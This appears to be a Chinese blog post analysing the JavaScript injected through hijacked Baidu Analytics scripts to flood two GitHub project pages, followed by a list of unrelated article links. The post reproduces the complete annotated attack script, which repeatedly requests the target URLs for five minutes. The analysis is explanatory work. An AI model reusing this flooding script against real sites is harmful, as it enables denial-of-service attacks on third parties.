前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。

就分析了下JS的执行,发现乌云解析的地方说错了。

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。

我看了下代码的意思是:

第一次请求,延迟2秒钟请求。

然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。

从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。

你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。

以下为JS的详解(JS很烂,求板砖):

 document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");    //加载jQuery
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); //判断windows.jQuery有没有被定义,没有就再加载JQuery
startime = (new Date).getTime(); //获取当前时间戳,毫秒(最初执行时间)
var count = 0; //总请求次数 function unixtime() { //获取一个时间戳
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
} url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; //定义要请求的URL
NUM = url_array.length; // 获取URL数组长度,两个URL function r_send2() {
var a = unixtime() % NUM; //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
get(url_array[a]) //带入URL进入GET函数
} function get(a) { //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
var b; //请求时间差
$.ajax({
url: a, //请求的URL
dataType: "script", //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
timeout: 1E4, //1e4=10000,设置请求超时时间
cache: !0, //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
beforeSend: function() { //发送请求前可修改 XMLHttpRequest 对象的函数
requestTime = (new Date).getTime() //获取当前时间戳,毫秒(请求开始的时间)
},
complete: function() { //请求完成后回调函数
responseTime = (new Date).getTime(); //获取当前时间戳,毫秒(请求完成的时间)
b = Math.floor(responseTime - requestTime); //请求时间差,网络响应慢后面就请求慢了~
3E5 > responseTime - startime && (r_send(b), count += 1) //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
}
})
} function r_send(a) {
setTimeout("r_send2()", a) //等待a毫秒以后执行r_send2()
}
setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
// PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
// PS: 并不是每两秒钟执行一次请求

最新文章

  1. bootstrap在jsp中的应用
  2. struts2校验总结
  3. JSP应用程序(自定义错误页面)
  4. About javascript closure
  5. Caffe : Layer Catalogue(2)
  6. Error:(108) No resource identifier found for attribute &#39;style&#39; in package &#39;android&#39;
  7. c# 获取移动硬盘信息、监听移动设备的弹出与插入事件
  8. Android 消息传递之Bundle的使用——实现object对象传输(二)
  9. android 之 java环境部署
  10. 【CH6802】车的放置
  11. Aho-Corasick算法实现(简单关键字过滤)
  12. 说几个python与c区别的地方以及静态变量,全局变量的区别
  13. Java基础语法&lt;七&gt; 对象与类 封装
  14. 【Python】【异步IO】
  15. python-day96--git版本控制
  16. dev gridview 设置分组
  17. WordPress基础:去除顶部管理员工具条
  18. InitComponent的使用
  19. 深入浅出SharePoint——获取Choice Field的Mapping value
  20. Java面向对象之关键字static 入门实例

热门文章

  1. angularJS测试一 Karma Jasmine Mock
  2. Python随机生成验证码的两种方法
  3. Swift中FDMB的使用(增、删、改、查)
  4. HDU4530:小Q系列故事——大笨钟
  5. Android项目实战--手机卫士20--拿到已经安装了的程序以及程序管理主界面
  6. 在Qt中使用sleep
  7. 前端工具之WebPack解密之背景
  8. Codeforces 245G Suggested Friends - 交集set_intersection()
  9. Linux 下Mysql自动备份脚本
  10. 基于laravel4.2的相关架构设计